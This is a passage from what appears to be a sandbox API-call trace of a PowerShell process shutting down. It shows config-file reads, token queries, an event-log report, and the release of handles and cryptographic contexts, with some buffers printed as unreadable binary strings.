"c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x2ddec0 | out: lpFileInformation=0x2ddec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0264.325] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0264.325] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0264.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2dddf8) returned 1 [0264.326] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x510 [0264.326] GetFileType (hFile=0x510) returned 0x1 [0264.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2dddf4) returned 1 [0264.326] GetFileType (hFile=0x510) returned 0x1 [0264.484] GetFileSize (in: hFile=0x510, lpFileSizeHigh=0x2ddeb4 | out: lpFileSizeHigh=0x2ddeb4*=0x0) returned 0x8c8e [0264.485] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2dde70, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2dde70*=0x1000, lpOverlapped=0x0) returned 1 [0264.514] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddd20, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddd20*=0x1000, lpOverlapped=0x0) returned 1 [0264.516] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddbd4, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddbd4*=0x1000, lpOverlapped=0x0) returned 1 [0264.517] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddbd4, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddbd4*=0x1000, lpOverlapped=0x0) returned 1 [0264.518] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddbd4, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddbd4*=0x1000, lpOverlapped=0x0) returned 1 [0264.518] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddb0c, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddb0c*=0x1000, lpOverlapped=0x0) returned 1 [0264.592] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddc78, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddc78*=0x1000, lpOverlapped=0x0) returned 1 [0264.595] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddb6c, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddb6c*=0x1000, lpOverlapped=0x0) returned 1 [0264.595] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddb6c, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddb6c*=0xc8e, lpOverlapped=0x0) returned 1 [0264.596] ReadFile (in: hFile=0x510, lpBuffer=0x23f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ddc30, lpOverlapped=0x0 | out: lpBuffer=0x23f98e4*, lpNumberOfBytesRead=0x2ddc30*=0x0, lpOverlapped=0x0) returned 1 [0264.596] CloseHandle (hObject=0x510) returned 1 [0264.596] CloseHandle (hObject=0x50c) returned 1 [0264.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x2ddb84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0264.597] CoTaskMemAlloc (cb=0x20c) returned 0x5c98dd0 [0264.597] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c98dd0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0264.597] CoTaskMemFree (pv=0x5c98dd0) [0264.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0264.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0264.599] GetCurrentProcess () returned 0xffffffff [0264.599] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de00c | out: TokenHandle=0x2de00c*=0x50c) returned 1 [0264.601] CloseHandle (hObject=0x50c) returned 1 [0264.602] GetCurrentProcess () returned 0xffffffff [0264.603] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de00c | out: TokenHandle=0x2de00c*=0x50c) returned 1 [0264.605] CloseHandle (hObject=0x50c) returned 1 [0264.608] GetCurrentProcess () returned 0xffffffff [0264.609] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddec0 | out: TokenHandle=0x2ddec0*=0x50c) returned 1 [0264.610] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2ddeb8 | out: lpFileInformation=0x2ddeb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0264.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0264.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0264.611] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2ddec0 | out: lpFileInformation=0x2ddec0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0264.612] CloseHandle (hObject=0x50c) returned 1 [0264.613] GetCurrentProcess () returned 0xffffffff [0264.614] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de00c | out: TokenHandle=0x2de00c*=0x50c) returned 1 [0264.615] CloseHandle (hObject=0x50c) returned 1 [0264.617] GetCurrentProcess () returned 0xffffffff [0264.618] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de00c | out: TokenHandle=0x2de00c*=0x50c) returned 1 [0264.619] CloseHandle (hObject=0x50c) returned 1 [0264.698] GetCurrentProcess () returned 0xffffffff [0264.698] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2dde24 | out: TokenHandle=0x2dde24*=0x50c) returned 1 [0264.726] CloseHandle (hObject=0x50c) returned 1 [0264.727] GetCurrentProcess () returned 0xffffffff [0264.727] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2dde3c | out: TokenHandle=0x2dde3c*=0x50c) returned 1 [0264.728] CloseHandle (hObject=0x50c) returned 1 [0264.796] CoCreateGuid (in: pguid=0x2de228 | out: pguid=0x2de228*(Data1=0x89f156a0, Data2=0x50f7, Data3=0x46f5, Data4=([0]=0xa1, [1]=0x90, [2]=0x90, [3]=0xd, [4]=0x47, [5]=0x6e, [6]=0x43, [7]=0x66))) returned 0x0 [0264.800] ReportEventW (hEventLog=0x3f80004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2416f40*="Stopped", lpRawData=0x2416e68) returned 1 [0264.814] SetEvent (hEvent=0x378) returned 1 [0264.908] CloseHandle (hObject=0x378) returned 1 [0265.298] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0265.318] CoGetContextToken (in: pToken=0x2df8f4 | out: pToken=0x2df8f4) returned 0x0 [0265.318] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df918 | out: ppvObject=0x2df918*=0x33feb4) returned 0x0 [0265.318] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x2df978 | out: pThreadType=0x2df978*=0) returned 0x0 [0265.318] IUnknown:Release (This=0x33feb4) returned 0x0 [0265.319] CoGetContextToken (in: pToken=0x2df604 | out: pToken=0x2df604) returned 0x0 [0265.319] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df628 | out: ppvObject=0x2df628*=0x33feb4) returned 0x0 [0265.319] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x2df654 | out: pThreadType=0x2df654*=0) returned 0x0 [0265.319] IUnknown:Release (This=0x33feb4) returned 0x0 [0265.322] CoGetContextToken (in: pToken=0x2df604 | out: pToken=0x2df604) returned 0x0 [0265.322] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df628 | out: ppvObject=0x2df628*=0x33feb4) returned 0x0 [0265.327] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x2df654 | out: pThreadType=0x2df654*=0) returned 0x0 [0265.327] IUnknown:Release (This=0x33feb4) returned 0x0 [0265.408] CoGetContextToken (in: pToken=0x2df604 | out: pToken=0x2df604) returned 0x0 [0265.408] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df628 | out: ppvObject=0x2df628*=0x33feb4) returned 0x0 [0265.409] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x2df654 | out: pThreadType=0x2df654*=0) returned 0x0 [0265.409] IUnknown:Release (This=0x33feb4) returned 0x0 [0265.427] CoGetContextToken (in: pToken=0x2df624 | out: pToken=0x2df624) returned 0x0 [0265.427] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df648 | out: ppvObject=0x2df648*=0x33feb4) returned 0x0 [0265.427] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x2df674 | out: pThreadType=0x2df674*=0) returned 0x0 [0265.427] IUnknown:Release (This=0x33feb4) returned 0x0 [0265.428] CoUninitialize () Thread: id = 17 os_tid = 0x9c4 Thread: id = 18 os_tid = 0x418 [0159.270] CloseHandle (hObject=0x3ec) returned 1 [0159.270] RegCloseKey (hKey=0x374) returned 0x0 [0159.283] CloseHandle (hObject=0x3d0) returned 1 [0160.894] CloseHandle (hObject=0x3f4) returned 1 [0160.907] CloseHandle (hObject=0x414) returned 1 [0160.907] CloseHandle (hObject=0x420) returned 1 [0160.908] CloseHandle (hObject=0x41c) returned 1 [0160.908] CloseHandle (hObject=0x418) returned 1 [0173.819] LocalFree (hMem=0x373f80) returned 0x0 [0173.821] EtwEventUnregister () returned 0x0 [0173.827] RegCloseKey (hKey=0x80000004) returned 0x0 [0173.830] CoGetContextToken (in: pToken=0x1ebf634 | out: pToken=0x1ebf634) returned 0x0 [0173.830] IUnknown:QueryInterface (in: This=0x340018, riid=0x71b58ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ebf5d4 | out: ppvObject=0x1ebf5d4*=0x340028) returned 0x0 [0173.831] CObjectContext::ContextCallback () returned 0x0 [0173.838] IUnknown:Release (This=0x340028) returned 0x1 [0173.838] IUnknown:Release (This=0x340018) returned 0x0 [0173.879] CloseHandle (hObject=0x234) returned 1 [0173.880] CloseHandle (hObject=0x3f4) returned 1 [0173.880] CloseHandle (hObject=0x420) returned 1 [0173.880] CloseHandle (hObject=0x414) returned 1 [0173.880] CloseHandle (hObject=0x238) returned 1 [0173.880] CloseHandle (hObject=0x34c) returned 1 [0173.881] CloseHandle (hObject=0x33c) returned 1 [0173.881] CloseHandle (hObject=0x460) returned 1 [0173.881] CloseHandle (hObject=0x45c) returned 1 [0173.881] CloseHandle (hObject=0x340) returned 1 [0173.882] CloseHandle (hObject=0x344) returned 1 [0173.882] CloseHandle (hObject=0x458) returned 1 [0173.882] CloseHandle (hObject=0x454) returned 1 [0173.882] CloseHandle (hObject=0x450) returned 1 [0173.882] CloseHandle (hObject=0x348) returned 1 [0181.814] CloseHandle (hObject=0x460) returned 1 [0181.814] SysStringLen (param_1="䡀쓺ᮯ襷뎕镥恑\x02") returned 0x10 [0189.241] CryptDestroyKey (hKey=0x5c69080) returned 1 [0189.241] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0189.241] CryptDestroyKey (hKey=0x5c69180) returned 1 [0189.241] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0189.241] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0189.242] CryptDestroyKey (hKey=0x5c690c0) returned 1 [0189.242] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0189.242] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇矵閭벳⟾㡈찤䧪") returned 0x30 [0189.242] CryptDestroyKey (hKey=0x5c69140) returned 1 [0189.242] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0189.243] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0189.243] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0189.243] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0190.517] CloseHandle (hObject=0x458) returned 1 [0190.518] CloseHandle (hObject=0x454) returned 1 [0190.518] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍巬穗ꓺ⢦紥") returned 0x30 [0190.518] CloseHandle (hObject=0x450) returned 1 [0190.518] CryptDestroyKey (hKey=0x5c69140) returned 1 [0190.518] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0190.518] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0190.519] CryptDestroyKey (hKey=0x5c68840) returned 1 [0190.519] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0190.519] CryptDestroyKey (hKey=0x5c68cc0) returned 1 [0190.519] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0190.519] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0190.519] CryptDestroyKey (hKey=0x5c68e40) returned 1 [0190.519] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0190.519] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0190.519] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0190.519] CryptDestroyKey (hKey=0x5c69180) returned 1 [0190.519] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0190.520] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0190.520] CloseHandle (hObject=0x44c) returned 1 [0190.520] CryptDestroyKey (hKey=0x5c68d00) returned 1 [0190.520] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0190.520] CryptDestroyKey (hKey=0x5c68fc0) returned 1 [0190.520] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0190.520] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0190.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.520] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0190.521] CryptDestroyKey (hKey=0x5c68f40) returned 1 [0190.521] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0190.521] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0190.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.521] CloseHandle (hObject=0x344) returned 1 [0190.521] CryptDestroyKey (hKey=0x5c68b80) returned 1 [0190.521] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0190.521] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0190.521] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ붷䴺뢏븝쁭鞺ꎃ") returned 0x30 [0190.522] CryptDestroyKey (hKey=0x5c69080) returned 1 [0190.522] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0190.522] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0190.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.522] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0190.522] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0190.522] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹鉗熡큑봑븰") returned 0x30 [0190.522] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙譅㬰鲙᝚\濟孤໸≭) returned 0x30 [0190.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.523] CryptDestroyKey (hKey=0x5c68d40) returned 1 [0190.523] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0190.523] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0190.523] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0194.282] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0194.283] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0194.283] CryptDestroyKey (hKey=0x5c68fc0) returned 1 [0194.283] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0194.283] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0194.283] CryptDestroyKey (hKey=0x5c68bc0) returned 1 [0194.283] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0194.284] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0194.284] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0194.284] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子ⴝ썩훠쒟솨宬ꇤ兟") returned 0x30 [0194.284] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0194.284] CryptDestroyKey (hKey=0x5c68b40) returned 1 [0194.285] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0194.285] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0194.285] CryptDestroyKey (hKey=0x5c68840) returned 1 [0194.285] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0194.288] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆⋳敽氓孑ಂ儉䎣") returned 0x30 [0194.288] CryptDestroyKey (hKey=0x5c68e40) returned 1 [0194.288] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0194.288] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇晡鏢腚㦄䩌毄蚾") returned 0x30 [0194.288] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0194.289] CryptDestroyKey (hKey=0x5c69080) returned 1 [0194.289] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0194.289] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0194.289] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0194.289] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0194.289] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0194.289] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶ç댂棎ꊓ耎핔\ꓟ") returned 0x30 [0194.289] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0194.289] CryptDestroyKey (hKey=0x5c69200) returned 1 [0194.289] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0194.290] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0194.290] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0194.290] CryptDestroyKey (hKey=0x5c69440) returned 1 [0194.290] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0194.290] CryptDestroyKey (hKey=0x5c69180) returned 1 [0194.290] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0194.290] CryptDestroyKey (hKey=0x5c68d00) returned 1 [0194.290] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0196.619] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0196.619] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0196.619] CryptDestroyKey (hKey=0x5c69080) returned 1 [0196.619] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0196.620] CryptDestroyKey (hKey=0x5c69440) returned 1 [0196.620] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0196.620] CryptDestroyKey (hKey=0x5c69180) returned 1 [0196.620] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0196.620] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0196.620] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0196.620] CryptDestroyKey (hKey=0x5c68d00) returned 1 [0196.620] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0196.620] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0196.621] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0196.621] CryptDestroyKey (hKey=0x5c69140) returned 1 [0196.621] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0196.621] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0196.621] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0196.621] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0196.621] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓ജᐰ羚ᐿ냬䔡퇱") returned 0x30 [0196.621] CryptDestroyKey (hKey=0x5c69200) returned 1 [0196.621] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0196.621] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0196.621] SysStringLen 